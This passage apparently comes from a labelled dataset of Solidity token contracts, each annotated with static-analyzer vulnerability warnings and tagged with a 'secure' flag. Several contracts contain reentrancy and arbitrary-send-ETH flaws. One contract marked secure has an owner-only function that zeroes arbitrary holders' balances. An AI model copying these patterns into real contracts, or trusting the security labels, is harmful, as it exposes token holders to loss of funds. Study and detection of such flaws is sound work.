buyOperationsFee) / buyTotalFees\n\t// Recommendation for 6789f7a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 79f826e): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForBurn += (fees * buyBurnFee) / buyTotalFees\n\t// Recommendation for 79f826e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c01c68f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c01c68f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"amount must be greater than 0\");\n\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (blockForPenaltyEnd > 0) {\n require(\n !boughtEarly[from] || to == owner() || to == address(0xdead),\n \"Bots cannot transfer tokens in or out except to owner or dead address.\"\n );\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (transferDelayEnabled) {\n if (to != address(dexRouter) && to != address(lpPair)) {\n\t\t\t\t\t\t// tx-origin | ID: cc6b5e3\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number - 2 &&\n _holderLastTransferTimestamp[to] <\n block.number - 2,\n \"_transfer:: Transfer Delay enabled. Try again later.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n\n _holderLastTransferTimestamp[to] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxBuy,\n \"Buy transfer amount exceeds the max buy.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Cannot Exceed max wallet\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxSell,\n \"Sell transfer amount exceeds the max sell.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Cannot Exceed max wallet\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: cda6621\n\t\t\t// reentrancy-benign | ID: c102732\n\t\t\t// reentrancy-eth | ID: c01c68f\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: c01c68f\n swapping = false;\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (\n earlyBuyPenaltyInEffect() &&\n automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to] &&\n buyTotalFees > 0\n ) {\n if (!boughtEarly[to]) {\n\t\t\t\t\t// reentrancy-eth | ID: c01c68f\n boughtEarly[to] = true;\n\n\t\t\t\t\t// reentrancy-benign | ID: c102732\n botsCaught += 1;\n\n\t\t\t\t\t// reentrancy-events | ID: cda6621\n emit CaughtEarlyBuyer(to);\n }\n\n\t\t\t\t// divide-before-multiply | ID: b7cc949\n\t\t\t\t// divide-before-multiply | ID: 9547438\n\t\t\t\t// divide-before-multiply | ID: 72428db\n\t\t\t\t// divide-before-multiply | ID: 6789f7a\n fees = (amount * 99) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: 72428db\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 6789f7a\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 9547438\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: b7cc949\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForBurn += (fees * buyBurnFee) / buyTotalFees;\n } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 4e96370\n\t\t\t\t// divide-before-multiply | ID: f6b1d1f\n\t\t\t\t// divide-before-multiply | ID: d9f1966\n\t\t\t\t// divide-before-multiply | ID: b82defd\n fees = (amount * sellTotalFees) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: 4e96370\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: d9f1966\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForOperations +=\n (fees * sellOperationsFee) /\n sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: f6b1d1f\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: b82defd\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForBurn += (fees * sellBurnFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: dbe1e9a\n\t\t\t\t// divide-before-multiply | ID: 5ae9162\n\t\t\t\t// divide-before-multiply | ID: 1560d8a\n\t\t\t\t// divide-before-multiply | ID: 79f826e\n fees = (amount * buyTotalFees) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: dbe1e9a\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 1560d8a\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 5ae9162\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 79f826e\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForBurn += (fees * buyBurnFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: cda6621\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-eth | ID: c01c68f\n super._transfer(from, to, amount);\n }\n\n function earlyBuyPenaltyInEffect() public view returns (bool) {\n return block.number < blockForPenaltyEnd;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-events | ID: b4a674a\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: 8e99d27\n\t\t// reentrancy-benign | ID: c102732\n\t\t// reentrancy-benign | ID: 71c776c\n\t\t// reentrancy-no-eth | ID: 4f0e806\n\t\t// reentrancy-eth | ID: c01c68f\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4b06f96): runner.addLiquidity(uint256,uint256) ignores return value by dexRouter.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(0xdead),block.timestamp)\n\t// Recommendation for 4b06f96: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-events | ID: b4a674a\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: 8e99d27\n\t\t// reentrancy-benign | ID: c102732\n\t\t// reentrancy-benign | ID: 71c776c\n\t\t// unused-return | ID: 4b06f96\n\t\t// reentrancy-eth | ID: c01c68f\n dexRouter.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(0xdead),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b4a674a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b4a674a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8e99d27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8e99d27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4f0e806): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4f0e806: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4d10a29): runner.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(operationsAddress).call{value address(this).balance}()\n\t// Recommendation for 4d10a29: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: fa26da6): runner.swapBack().success is written in both (success,None) = address(devAddress).call{value ethForDev}() (success,None) = address(operationsAddress).call{value address(this).balance}()\n\t// Recommendation for fa26da6: Fix or remove the writes.\n function swapBack() private {\n if (tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {\n _burn(address(this), tokensForBurn);\n }\n\n tokensForBurn = 0;\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForOperations +\n tokensForDev;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n bool success;\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n\n\t\t// reentrancy-events | ID: b4a674a\n\t\t// reentrancy-benign | ID: 8e99d27\n\t\t// reentrancy-no-eth | ID: 4f0e806\n swapTokensForEth(contractBalance - liquidityTokens);\n\n uint256 ethBalance = address(this).balance;\n\n uint256 ethForLiquidity = ethBalance;\n\n uint256 ethForOperations = (ethBalance * tokensForOperations) /\n (totalTokensToSwap - (tokensForLiquidity / 2));\n\n uint256 ethForDev = (ethBalance * tokensForDev) /\n (totalTokensToSwap - (tokensForLiquidity / 2));\n\n ethForLiquidity -= ethForOperations + ethForDev;\n\n\t\t// reentrancy-no-eth | ID: 4f0e806\n tokensForLiquidity = 0;\n\n\t\t// reentrancy-no-eth | ID: 4f0e806\n tokensForOperations = 0;\n\n\t\t// reentrancy-no-eth | ID: 4f0e806\n tokensForDev = 0;\n\n\t\t// reentrancy-no-eth | ID: 4f0e806\n tokensForBurn = 0;\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: b4a674a\n\t\t\t// reentrancy-benign | ID: 8e99d27\n addLiquidity(liquidityTokens, ethForLiquidity);\n }\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: c102732\n\t\t// reentrancy-benign | ID: 71c776c\n\t\t// write-after-write | ID: fa26da6\n\t\t// reentrancy-eth | ID: c01c68f\n (success, ) = address(devAddress).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: c102732\n\t\t// reentrancy-benign | ID: 71c776c\n\t\t// write-after-write | ID: fa26da6\n\t\t// reentrancy-eth | ID: c01c68f\n\t\t// arbitrary-send-eth | ID: 4d10a29\n (success, ) = address(operationsAddress).call{\n value: address(this).balance\n }(\"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aa820c1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aa820c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferForeignToken(\n address _token,\n address _to\n ) external onlyOwner returns (bool _sent) {\n require(_token != address(0), \"_token address cannot be 0\");\n\n require(_token != address(this), \"Can't withdraw native tokens\");\n\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: aa820c1\n _sent = IERC20(_token).transfer(_to, _contractBalance);\n\n\t\t// reentrancy-events | ID: aa820c1\n emit TransferForeignToken(_token, _contractBalance);\n }\n\n function withdrawStuckETH() external onlyOwner {\n bool success;\n\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n function setOpsAddress(address _operationsAddress) external onlyOwner {\n require(\n _operationsAddress != address(0),\n \"_operationsAddress address cannot be 0\"\n );\n\n operationsAddress = payable(_operationsAddress);\n }\n\n function setDevAddress(address _devAddress) external onlyOwner {\n require(_devAddress != address(0), \"_devAddress address cannot be 0\");\n\n devAddress = payable(_devAddress);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 39b91eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 39b91eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 71c776c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 71c776c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function forceSwapBack() external onlyOwner {\n require(\n balanceOf(address(this)) >= swapTokensAtAmount,\n \"Can only swap when token amount is at or higher than restriction\"\n );\n\n swapping = true;\n\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: 71c776c\n swapBack();\n\n\t\t// reentrancy-benign | ID: 71c776c\n swapping = false;\n\n\t\t// reentrancy-events | ID: 39b91eb\n emit OwnerForcedSwapBack(block.timestamp);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6b46d50): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6b46d50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyBack(uint256 amountInWei) external onlyOwner {\n require(\n amountInWei <= 10 ether,\n \"May not buy more than 10 ETH in a single buy to reduce sandwich attacks\"\n );\n\n address[] memory path = new address[](2);\n\n path[0] = dexRouter.WETH();\n\n path[1] = address(this);\n\n\t\t// reentrancy-events | ID: 6b46d50\n dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: amountInWei\n }(0, path, address(0xdead), block.timestamp);\n\n\t\t// reentrancy-events | ID: 6b46d50\n emit BuyBackTriggered(amountInWei);\n }\n}",
"file_name": "solidity_code_1304.sol",
"secure": 0,
"size_bytes": 35180
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Token is ERC20 {\n address public uniswapPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 83b2921): Token._router should be immutable \n\t// Recommendation for 83b2921: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private _router;\n\n bool private _init;\n\n constructor(\n string memory name_,\n string memory symbol_,\n address routerAddress_\n ) ERC20(name_, symbol_) {\n uint256 amount = 10000000000 * (10 ** 18);\n\n _mint(address(this), amount);\n\n _router = IUniswapV2Router02(routerAddress_);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 816ba34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 816ba34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ff8560e): Token.addLiquidity() ignores return value by _router.addLiquidityETH{value msg.value}(address(this),amount,0,0,_msgSender(),block.timestamp)\n\t// Recommendation for ff8560e: Ensure that all the return values of the function calls are used.\n function addLiquidity() external payable {\n require(!_init, \"Init Ready\");\n\n _init = true;\n\n uint256 amount = 10000000000 * (10 ** 18);\n\n _approve(address(this), address(_router), amount);\n\n\t\t// reentrancy-benign | ID: 816ba34\n\t\t// unused-return | ID: ff8560e\n _router.addLiquidityETH{value: msg.value}(\n address(this),\n amount,\n 0,\n 0,\n _msgSender(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 816ba34\n uniswapPair = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1305.sol",
"secure": 0,
"size_bytes": 2429
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Testy is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 1_000_000 * 1e18;\n\n uint256 public maxWallet = (MAX_SUPPLY * 13) / 1000;\n\n error ERC20MaxWallet();\n\n bool public tradingOpen = false;\n\n function _isMaxWalletExempt(address account) internal view returns (bool) {\n return whitelist[account];\n }\n\n function _isCa(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function setExemptsFromMaxWallet(address account) public onlyOwner {\n whitelist[account] = !whitelist[account];\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 819b7f9): Testy.newMaxWallet(uint256) should emit an event for maxWallet = _maxWallet \n\t// Recommendation for 819b7f9: Emit an event for critical parameter changes.\n function newMaxWallet(uint256 _maxWallet) public onlyOwner {\n require(_maxWallet >= MAX_SUPPLY / 1000, \"max-wallet-too-small\");\n\n\t\t// events-maths | ID: 819b7f9\n maxWallet = _maxWallet;\n }\n\n function openTrading() public onlyOwner {\n tradingOpen = true;\n }\n\n mapping(address => bool) public whitelist;\n\n constructor()\n ERC20(\n \"Dont buy this random shit man what are you doing with your lives im just testing garbage you gambling addicts\",\n \"NO\"\n )\n Ownable(msg.sender)\n {\n _mint(msg.sender, MAX_SUPPLY);\n\n setExemptsFromMaxWallet(msg.sender);\n }\n\n function _update(\n address from,\n address to,\n uint256 amount\n ) internal override {\n if (!tradingOpen) {\n require(\n from == owner() || to == owner(),\n \"_transfer:: Trading is not active.\"\n );\n }\n\n if (amount == 0) {\n super._update(from, to, 0);\n\n return;\n }\n\n super._update(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 732289b): Testy.transfer(address,uint256)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 732289b: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 value\n ) public override returns (bool) {\n address _owner = _msgSender();\n\n uint256 balance = balanceOf(to);\n\n if (\n !_isMaxWalletExempt(to) && !_isCa(to) && balance + value > maxWallet\n ) {\n revert ERC20MaxWallet();\n }\n\n _transfer(_owner, to, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public override returns (bool) {\n address spender = _msgSender();\n\n if (\n !_isMaxWalletExempt(to) &&\n !_isCa(to) &&\n balanceOf(to) + value > maxWallet\n ) {\n revert ERC20MaxWallet();\n }\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n}",
"file_name": "solidity_code_1306.sol",
"secure": 0,
"size_bytes": 3336
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Strong is ERC20, Ownable {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 912e6f3): Strong.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 912e6f3: Rename the local variables that shadow another component.\n constructor() ERC20(\"Strong Pepe\", \"STRONG\") Ownable(msg.sender) {\n uint256 totalSupply = 4200000000000 * 10 ** decimals();\n\n _mint(msg.sender, totalSupply);\n }\n}",
"file_name": "solidity_code_1307.sol",
"secure": 0,
"size_bytes": 697
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Awshitherewegoagain is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable summer;\n\n constructor() {\n _name = \"aw shit here we go again\";\n\n _symbol = \"AWSHIT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 461000000;\n\n summer = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == summer, \"Not allowed\");\n\n _;\n }\n\n function threat(address[] memory banish) public onlyOwner {\n for (uint256 i = 0; i < banish.length; i++) {\n address account = banish[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1308.sol",
"secure": 1,
"size_bytes": 4384
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 166330e): Contract locking ether found Contract TrumpThis has payable functions TrumpThis.receive() But does not have a function to withdraw the ether\n// Recommendation for 166330e: Remove the 'payable' attribute or add a withdraw function.\ncontract TrumpThis is ERC20, Ownable {\n constructor() ERC20(unicode\"Trump This!\", unicode\"TRUMP!\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 166330e): Contract locking ether found Contract TrumpThis has payable functions TrumpThis.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 166330e: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1309.sol",
"secure": 0,
"size_bytes": 1016
}
|
{
"code": "// SPDX-License-Identifier: MIT Licensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\n\ncontract PresaleETH is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 599e8f6): PresaleETH.USDT should be constant \n\t// Recommendation for 599e8f6: Add the 'constant' attribute to state variables that never change.\n IERC20 public USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n\n AggregatorV3Interface public priceFeed;\n\n struct Phase {\n uint256 tokensToSell;\n uint256 totalSoldTokens;\n uint256 tokenPerUsdPrice;\n }\n\n mapping(uint256 => Phase) public phases;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dc1a09f): PresaleETH.totalStages should be immutable \n\t// Recommendation for dc1a09f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalStages;\n\n uint256 public currentStage;\n\n uint256 public soldToken;\n\n uint256 public amountRaised;\n\n uint256 public amountRaisedUSDT;\n\n uint256 public amountRaisedOverall;\n\n uint256 public uniqueBuyers;\n\n uint256[] public tokenPerUsdPrice = [\n 95238095238095238095,\n 83333333333333333333,\n 78431372549019607843,\n 76628352490421455938,\n 74074074074074074074,\n 71684587813620071684,\n 70175438596491228070,\n 68728522336769759450,\n 66666666666666666666\n ];\n\n uint256[] public tokensToSell = [\n 21000000000000000000000000,\n 21000000000000000000000000,\n 21000000000000000000000000,\n 21000000000000000000000000,\n 21000000000000000000000000,\n 21000000000000000000000000,\n 21000000000000000000000000,\n 21000000000000000000000000,\n 42000000000000000000000000\n ];\n\n\t// WARNING Optimization Issue (immutable-states | ID: e41ab35): PresaleETH.fundReceiver should be immutable \n\t// Recommendation for e41ab35: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public fundReceiver;\n\n bool public presaleStatus;\n\n bool public isPresaleEnded;\n\n uint256 public claimStartTime;\n\n address[] public UsersAddresses;\n\n struct User {\n uint256 native_balance;\n uint256 usdt_balance;\n uint256 token_balance;\n uint256 claimed_tokens;\n }\n\n mapping(address => User) public users;\n\n mapping(address => bool) public isExist;\n\n event BuyToken(address indexed _user, uint256 indexed _amount);\n\n event UpdatePrice(uint256 _oldPrice, uint256 _newPrice);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 036b662): PresaleETH.constructor(address)._fundReceiver lacks a zerocheck on \t fundReceiver = address(_fundReceiver)\n\t// Recommendation for 036b662: Check that the address is not zero.\n constructor(address _fundReceiver) {\n\t\t// missing-zero-check | ID: 036b662\n fundReceiver = payable(_fundReceiver);\n\n priceFeed = AggregatorV3Interface(\n 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419\n );\n\n\t\t// cache-array-length | ID: c0e2dda\n for (uint256 i = 0; i < tokensToSell.length; i++) {\n phases[i].tokensToSell = tokensToSell[i];\n\n phases[i].tokenPerUsdPrice = tokenPerUsdPrice[i];\n }\n\n totalStages = tokensToSell.length;\n }\n\n function updatePresale(\n uint256 _phaseId,\n uint256 _tokensToSell,\n uint256 _tokenPerUsdPrice\n ) public onlyOwner {\n require(phases[_phaseId].tokensToSell > 0, \"presale don't exist\");\n\n phases[_phaseId].tokensToSell 